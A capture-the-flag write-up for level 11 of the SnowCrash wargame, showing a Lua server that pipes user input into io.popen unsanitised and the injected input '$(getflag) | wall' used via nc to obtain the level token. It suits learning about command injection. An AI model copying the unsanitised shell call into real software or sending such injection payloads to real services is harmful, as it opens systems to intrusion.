level11

In the level11 home directory, we were presented with a file named *"level11.lua"*.
A quick inspection revealed that it's a server-side Lua script designed to listen on port 5151. The primary function of this server is to accept a password input, hash it using the SHA-1 algorithm, and then verify the resulting hash against an expected value.


```
#!/usr/bin/env lua
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 5151))

function hash(pass)
  prog = io.popen("echo "..pass.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end


while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local l, err = client:receive()
  if not err then
      print("trying " .. l)
      local h = hash(l)

      if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then
          client:send("Erf nope..\n");
      else
          client:send("Gz you dumb*\n")
      end

  end

  client:close()
end
```

level11²

A closer look revealed a potential vulnerability:

prog = io.popen("echo "..pass.." | sha1sum", "r")

The script directly passed the pass variable to a system command without sanitization, exposing it to command injection attacks. By exploiting this, we injected the *getflag* command and piped its output to *wall*, a utility that broadcasts messages to all users:

```
level11@SnowCrash:~$ nc localhost 5151
Password: $(getflag) | wall

Broadcast Message from flag11@Snow
        (somewhere) at 15:09 ...

Check flag.Here is your token : fa6v5ateaw21peobuub8ipe6s

Erf nope..

level11@SnowCrash:~$ su level12
Password: fa6v5ateaw21peobuub8ipe6s

level12@SnowCrash:~$
```